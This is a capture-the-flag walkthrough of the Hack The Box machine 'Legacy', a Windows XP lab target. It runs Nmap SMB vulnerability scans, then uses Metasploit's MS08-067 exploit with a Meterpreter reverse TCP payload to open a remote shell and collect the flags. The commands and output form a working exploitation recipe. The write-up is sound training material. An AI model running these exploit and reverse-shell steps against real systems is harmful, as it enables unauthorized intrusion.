Legacy

Related Academy Modules

- Network Enumeration with Nmap
- Using the Metasploit Framework
- Windows Privilege Escalation
- Footprinting
- Attacking Common Services
- Using CrackMapExec
- Getting Started
- Introduction to Windows Command Line

Nmap Scan

We start with an Nmap scan to map out the target.

```
└─$ nmap -sC -sV -O -T5 10.10.10.4

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds

Host script results:
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:94:72:d5 (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2025-10-09T18:17:44+03:00
|_clock-skew: mean: 5d00h27m52s, deviation: 2h07m16s, median: 4d22h57m52s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

We are dealing with Windows XP and SMB.

Finding ms08-067

Let's run Nmap again, now for finding SMB vulnerabilities on port 445.

```
└─$ nmap -p 445 10.10.10.4 -T5 --script=smb-vuln*

PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-
010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft
SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-
guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and
SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote
attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during
path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
```

Two vulnerabilities exist:

- ms17-010 (CVE-2017-0143)

- ms08-067 (CVE-2008-4250)
  I choose the second one.

Metasploit

We search for the well-known exploit in Metasploit and run it:

```
msf exploit(windows/smb/ms08_067_netapi) > options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may
be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > set LHOST tun0
LHOST => 10.10.14.21
msf exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.4:445 - The target is vulnerable.
msf exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.21:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-
3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat
operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
```

```
[*] 10.10.10.4:445 - We could not detect the language pack, defaulting to
English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (177734 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.21:4444 -> 10.10.10.4:1035) at
2025-10-05 05:57:10 -0400

meterpreter > shell
Process 428 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

We popped a shell on the system and we are free to look around anywhere and everywhere. Of course, the Desktop is the first place I go to, finding both flags.

If any problems do occur at the exploitation part, make sure to use `show targets` and select the corresponding one `Windows XP SP3 English (AlwaysOn NX)`. If this doesn't solve your problems, don't worry this machine is unstable enough. Look into your options, make sure you also set the `LHOST` correctly as your `tun0` interface, if you still bump into problems, restart the machine.